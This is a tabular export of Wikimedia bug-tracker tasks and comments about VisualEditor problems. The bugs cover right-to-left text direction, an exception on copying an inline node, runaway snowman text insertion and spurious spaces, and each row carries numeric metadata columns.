I think that the behaviour is as intended - language of content is a wiki-level not user-level decision. This means that if your interface is in RTL but the content is LTR (or vice versa) the buttons need to work in the content context, not the user language, yes. Do they currently not?"
217906,VisualEditor: Content is LTR even when the page language is RTL,"Okay, I figured out the problem, but this isn't precisely a bug and it depends on what you want the behavior to be.

First off, the issue seemed to be that the definition of the page language was always LTR in VE, regardless of what language I was using. Even when my page was Hebrew/RTL, VE's config showed it as english/ltr. That was quite frustrating, I was starting to think the problem is that the hooks page reads the language too early (which made no sense, really, since all other extensions read it the same way) 

Not so. Here's the issue:

I didn't notice that when I switched languages in MediaWiki, I did that through my own user preferences (since I was going frequently from English to Hebrew and back for testing). That meant that the *page* and global language was indeed English, and so VE read the global/page language *correctly* as EN/LTR.

So, while I was working in my own rtl preferences, VE corrected me by injecting LTR in there, and switching my marker to the left. 

When I changed the global settings of my wiki to hebrew, it all worked out perfectly again, and all is well.

So now a question for you guys -- this seems to be a decent behavior (though maybe for the sake of users it may be nice to say it somewhere?) -- however, there *is* an option to read the user language instead of the global language in the VisualEditor.hooks.php page, by using the $context->getLanguage() method instead of the currently used $out->getTitle()->getPageLanguage()

That would mean that the direction of the marker will be defined by the *user* defined language rather than by the page- or wiki-defined language direction. 

I can think of reasons this can be good, but I can also think of reasons this can be bad. I am not sure which is better. On one hand, the page probably defines the proper language, and the user language is mostly for the GUI, but on the other, if the user language is RTL, we usually expect the marker to follow suit.

Whatever is decided, this will definitely affect any and all RTL buttons (direction changes for paragraphs/page/etc) and the marker movement (whose bug I was going to look at next.

Should it stay with page language, or switch to user language when deciding marker direction in VE?",,,1369387045,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-bs4iwunmzd4mvfoqwfmx,task_subcomment,,True,c1,1,False,,,-6,,1.0,0.0,0.2,0.4,0.8,4.2,2.2,0.0,0.2,0.2,2.2,0.4,0.0,0.0,0.2,4.0,0.0,8.6,11.8,0.0,1.8,0.2,0.6,0.0,4.2,0.0,0.0,0.0,1.0,0.6,0.0,3.4,2.6,1.4,0.2,0.4,0.4,0.2,0.2,0.4,0.2,0.0,0.6,1.8,0.2,1.0,0.0,0.0,0.6,14.4,1.6,0.6,0.2,0.2,0.2,0.0,0.0,0.0,1.2,0.0,0.2,0.6,0.0,1.0,0.0,0.2,0.0,7.2,5.0,9.2,2.8,2.8,11.0,0.0,0.0,0.0,0.0,4.0,0.2,0.4,0.0,5.8,11.8,3.8,0.4,0.0,0.0,5.8,0.0,2.0,0.8,0.2,1.8,0.2,0.0,0.2,3.8024826425415528,0.6474016410687986,"Okay, I figured out the problem, but this isn't precisely a bug and it depends on what you want the behavior to be.

First off, the issue seemed to be that the definition of the page language was always LTR in VE, regardless of what language I was using. Even when my page was Hebrew/RTL, VE's config showed it as english/ltr. That was quite frustrating, I was starting to think the problem is that the hooks page reads the language too early (which made no sense, really, since all other extensions read it the same way) 

Not so. Here's the issue:

I didn't notice that when I switched languages in MediaWiki, I did that through my own user preferences (since I was going frequently from English to Hebrew and back for testing). That meant that the *page* and global language was indeed English, and so VE read the global/page language *correctly* as EN/LTR.

So, while I was working in my own rtl preferences, VE corrected me by injecting LTR in there, and switching my marker to the left. 

When I changed the global settings of my wiki to hebrew, it all worked out perfectly again, and all is well.

So now a question for you guys -- this seems to be a decent behavior (though maybe for the sake of users it may be nice to say it somewhere?) -- however, there *is* an option to read the user language instead of the global language in the VisualEditor.hooks.php page, by using the $context->getLanguage() method instead of the currently used $out->getTitle()->getPageLanguage()

That would mean that the direction of the marker will be defined by the *user* defined language rather than by the page- or wiki-defined language direction. 

I can think of reasons this can be good, but I can also think of reasons this can be bad. I am not sure which is better. On one hand, the page probably defines the proper language, and the user language is mostly for the GUI, but on the other, if the user language is RTL, we usually expect the marker to follow suit.

Whatever is decided, this will definitely affect any and all RTL buttons (direction changes for paragraphs/page/etc) and the marker movement (whose bug I was going to look at next.

Should it stay with page language, or switch to user language when deciding marker direction in VE?"
50604,VisualEditor: Selecting and copying one node throws an exception,"Select an inline node (e.g. an inline image) on it's own (i.e. no whitespace either side of it), and trying to copy will throw an exception (ve.dm.Document.js:786 selection[0].range is undefined)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368892860,1377634914.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,4.25,0.6964285714285714,"Select an inline node (e.g. an inline image) on it's own (i.e. no whitespace either side of it), and trying to copy will throw an exception (ve.dm.Document.js:786 selection[0].range is undefined)

--------------------------
**Version**: unspecified
**Severity**: normal"
208429,VisualEditor: Selecting and copying one node throws an exception,Fixed in master; will be deployed on Thursday as part of the regular push.,,,1377634914,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,25.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,1.0,Fixed in master; will be deployed on Thursday as part of the regular push.
208425,VisualEditor: Selecting and copying one node throws an exception,"Change 80301 merged by jenkins-bot:
Copy-paste data fixes

https://gerrit.wikimedia.org/r/80301",,,1377634861,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.9375,"Change 80301 merged by jenkins-bot:
Copy-paste data fixes

GERRIT_URL"
208420,VisualEditor: Selecting and copying one node throws an exception,"Change 80301 had a related patch set uploaded by Jforrester:
Copy-paste data fixes

https://gerrit.wikimedia.org/r/80301",,,1377546583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,"Change 80301 had a related patch set uploaded by Jforrester:
Copy-paste data fixes

GERRIT_URL"
208416,VisualEditor: Selecting and copying one node throws an exception,https://gerrit.wikimedia.org/r/#/c/80301/ fixes,,,1377544788,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL fixes
208409,VisualEditor: Selecting and copying one node throws an exception,"Nope, ignore comment 5, it adds the linebreaks no matter which way the selection is generated. Similar outcome but apparently independent.",,,1374074350,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.72,0.88,"Nope, ignore comment 5, it adds the linebreaks no matter which way the selection is generated. Similar outcome but apparently independent."
208402,VisualEditor: Selecting and copying one node throws an exception,The second half of comment 4 might be bug 51538,,,1374074228,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,The second half of comment 4 might be bug 51538
208397,VisualEditor: Selecting and copying one node throws an exception,"No exception now, it just fails to copy at all if you select a focusable node.

In what looks like a separate bug, if you select around a focusable node, pasting creates a new paragraph, e.g.

Foo ""Bar [1] Baz"" Quux

copy range marked with double quotes ([1] is a reference) then paste in the middle of Qu_ux and you get:

Foo Bar [1] Baz Qu
Bar [1] Baz
ux

instead of

Foo Bar [1] Baz QuBar [1] Bazux",,,1373993120,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,2,,0.5,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,7.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,14.0,1.0,1.0,4.5,0.0,0.0,0.0,0.0,2.5,0.0,5.0,0.0,2.5,7.0,11.5,0.0,1.0,0.0,2.5,0.0,0.5,3.0,0.0,0.5,0.0,0.0,5.0,3.0331649831649834,0.6691919191919192,"No exception now, it just fails to copy at all if you select a focusable node.

In what looks like a separate bug, if you select around a focusable node, pasting creates a new paragraph, e.g.

Foo ""Bar [1] Baz"" Quux

copy range marked with double quotes ([1] is a reference) then paste in the middle of Qu_ux and you get:

Foo Bar [1] Baz Qu
Bar [1] Baz
ux

instead of

Foo Bar [1] Baz QuBar [1] Bazux"
208392,VisualEditor: Selecting and copying one node throws an exception,I can't reproduce this now in Chrome or Firefox…,,,1373336346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,I can't reproduce this now in Chrome or Firefox…
208386,VisualEditor: Selecting and copying one node throws an exception,"@Ed, @Christian: In which browsers are you guys able to confirm it?",,,1372710956,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,13.0,13.0,0.0,7.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9333333333333333,"SCREEN_NAME,SCREEN_NAME: In which browsers are you guys able to confirm it?"
208381,VisualEditor: Selecting and copying one node throws an exception,"**orbit** wrote:

ooh... that's true.",,,1371773691,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vhlmolnzsp5kd7qoa2nn,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4285714285714284,0.7857142857142857,"**orbit** wrote:

ooh... that's true."
50592,VisualEditor: Edit triggered repeated inserts of existing text with snowman,"I used VE in Firefox 21.0 on Ubuntu to edit https://www.mediawiki.org/wiki/Backporting_Fixes . I changed a few headings, then pressed Enter between a heading and a numbered list below it to insert a new line (not sure if the caret was on the end of the heading or the start of the first item, I'm not sure if I started typing.

VE began inserting the first sentence of the numbered list but with its link changed to two snowmen, about 15 times. Every time I clicked it would prepend some more.  Even scrolling would trigger this.

Before, the document contained

== WMF Cluster Backports ==
# Make sure there is a bug registered in [[mw:Bugzilla|Bugzilla]] for the issue.

I couldn't edit the document, but VE's review and save button worked fine. The new document showed as

== ==
# Make sure there is a bug registered in ☃☃ for the issue.Make sure there is a bug registered in ☃☃ for the issue. <repeated 269 more times>Make sure there is a bug registered in [[mw:Bugzilla|Bugzilla]] for the issue.

I don't know what happened to the heading, I didn't blank it out. I might have attempted a cut and paste, maybe that's what's going haywire, though I'm pretty sure the last thing I did was pressed Enter to add a sentence after the heading.

I assume this is an Easter egg in the VE codebase: if you manipulate the document near an exhortation to file a bug, Parsoid detects it and repeats the phrase, with snow people 8-)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368826620,1371147355.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-lyuwrgvbcgimricw6omw,task_description,resolved,True,c1,1,False,False,True,-7,,0.75,0.0,0.0,0.25,1.25,5.0,0.5,0.0,0.25,0.75,1.75,1.25,0.0,0.0,1.0,3.25,0.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,4.0,0.25,0.0,0.5,0.5,0.5,0.0,4.0,0.75,1.25,0.75,0.25,0.0,0.0,0.25,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.75,0.75,0.0,0.0,0.5,0.25,1.0,0.0,0.25,0.0,0.0,0.25,0.75,0.0,0.5,0.0,0.0,0.25,8.75,1.75,10.0,1.0,1.75,10.0,0.0,0.0,0.0,0.5,3.75,0.0,1.0,0.0,4.75,9.0,4.0,0.0,0.0,0.0,4.75,0.0,0.5,3.5,0.0,1.0,0.5,0.0,3.25,3.586309523809524,0.6726190476190476,"I used VE in Firefox 21.0 on Ubuntu to edit URL . I changed a few headings, then pressed Enter between a heading and a numbered list below it to insert a new line (not sure if the caret was on the end of the heading or the start of the first item, I'm not sure if I started typing.

VE began inserting the first sentence of the numbered list but with its link changed to two snowmen, about 15 times. Every time I clicked it would prepend some more.  Even scrolling would trigger this.

Before, the document contained

== WMF Cluster Backports ==
# Make sure there is a bug registered in [[mw:Bugzilla|Bugzilla]] for the issue.

I couldn't edit the document, but VE's review and save button worked fine. The new document showed as

== ==
# Make sure there is a bug registered in ☃☃ for the issue.Make sure there is a bug registered in ☃☃ for the issue. <repeated 269 more times>Make sure there is a bug registered in [[mw:Bugzilla|Bugzilla]] for the issue.

I don't know what happened to the heading, I didn't blank it out. I might have attempted a cut and paste, maybe that's what's going haywire, though I'm pretty sure the last thing I did was pressed Enter to add a sentence after the heading.

I assume this is an Easter egg in the VE codebase: if you manipulate the document near an exhortation to file a bug, Parsoid detects it and repeats the phrase, with snow people 8-)

--------------------------
**Version**: unspecified
**Severity**: normal"
232937,VisualEditor: Edit triggered repeated inserts of existing text with snowman,"I /believe/ that we fixed this (rather worrying bug) last week with some changes on the CE side; if it recurs, please re-open!",,,1371147355,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lyuwrgvbcgimricw6omw,task_subcomment,,True,c1,2,True,,,-3,,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,10.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,10.0,17.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,1.0,"I /believe/ that we fixed this (rather worrying bug) last week with some changes on the CE side; if it recurs, please re-open!"
50570,Spaces added before colons and links in some cases,"See https://fr.wikipedia.org/w/index.php?title=COE&diff=prev&oldid=93166267 for example.

I only removed the link, but VisualEditor added a space before the colons.

Another example: https://fr.wikipedia.org/w/index.php?title=MSS&diff=prev&oldid=93166411

There was already two spaces, but VisualEditor added a third.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51024",High,80.0,1368776580,1383667577.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,,False,PHID-TASK-dlmzlny66znupvw7flge,task_description,resolved,True,c1,1,False,False,False,-7,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,19.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.626865671641791,0.5223880597014925,"See URL for example.

I only removed the link, but VisualEditor added a space before the colons.

Another example: URL

There was already two spaces, but VisualEditor added a third.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
409988,Spaces added before colons and links in some cases,"According to a cs.wp editor such changes are intentional, so possibly no need to investigate further. Thanks.",,,1423674753,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.65,0.9,"According to a cs.wp editor such changes are intentional, so possibly no need to investigate further. Thanks."
408667,Spaces added before colons and links in some cases,"(Sorry if I'm adding to the wrong task, I think a more relevant one was closed as dupe of this one. I haven't heard from cs.wp yet but it looks like there are [[ https://cs.wikipedia.org/w/index.php?title=Speci%C3%A1ln%C3%AD:Z%C3%A1znam_filtr%C5%AF_zneu%C5%BEit%C3%AD&wpSearchFilter=69 | too many occurrences ]] to be the case, IMHO).",,,1423496314,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,84,,2.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,2.0,5.0,0.0,9.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,13.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,3.090909090909091,0.8363636363636363,"(Sorry if I'm adding to the wrong task, I think a more relevant one was closed as dupe of this one. I haven't heard from cs.wp yet but it looks like there are [[ URL | too many occurrences ]] to be the case, IMHO)."
408652,Spaces added before colons and links in some cases,@Elitre: This doesn't look like space before colons or links .. Could they be null edits / edit undos that might have left behind spaces in VE that Parsoid is preserving?,,,1423494381,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,15.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,15.0,6.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.235294117647059,0.9705882352941176,SCREEN_NAME: This doesn't look like space before colons or links .. Could they be null edits / edit undos that might have left behind spaces in VE that Parsoid is preserving?
408228,Spaces added before colons and links in some cases,"Can it be this is happening again? At cs.wp [[ https://cs.wikipedia.org/wiki/Speciáln%C3%AD:Filtry_zneužit%C3%AD/69 | they are filtering ]] edits adding extra spaces, like [[ https://cs.wikipedia.org/w/index.php?title=Románská_architektura&diff=prev&oldid=12201516 | this ]] or [[ https://cs.wikipedia.org/w/index.php?title=Ptakopysk&diff=prev&oldid=12204327 | this ]] (I haven't much info ATM).",,,1423328803,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,83,,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,14.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,4.0,4.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,10.0,2.7346938775510203,0.673469387755102,"Can it be this is happening again? At cs.wp [[ URL | they are filtering ]] edits adding extra spaces, like [[ URL | this ]] or [[ URL | this ]] (I haven't much info ATM)."
231771,Spaces added before colons and links in some cases,"Change 84701 merged by jenkins-bot:
(Bug 48570) Fix subtle selser bug handling separator-only nodes

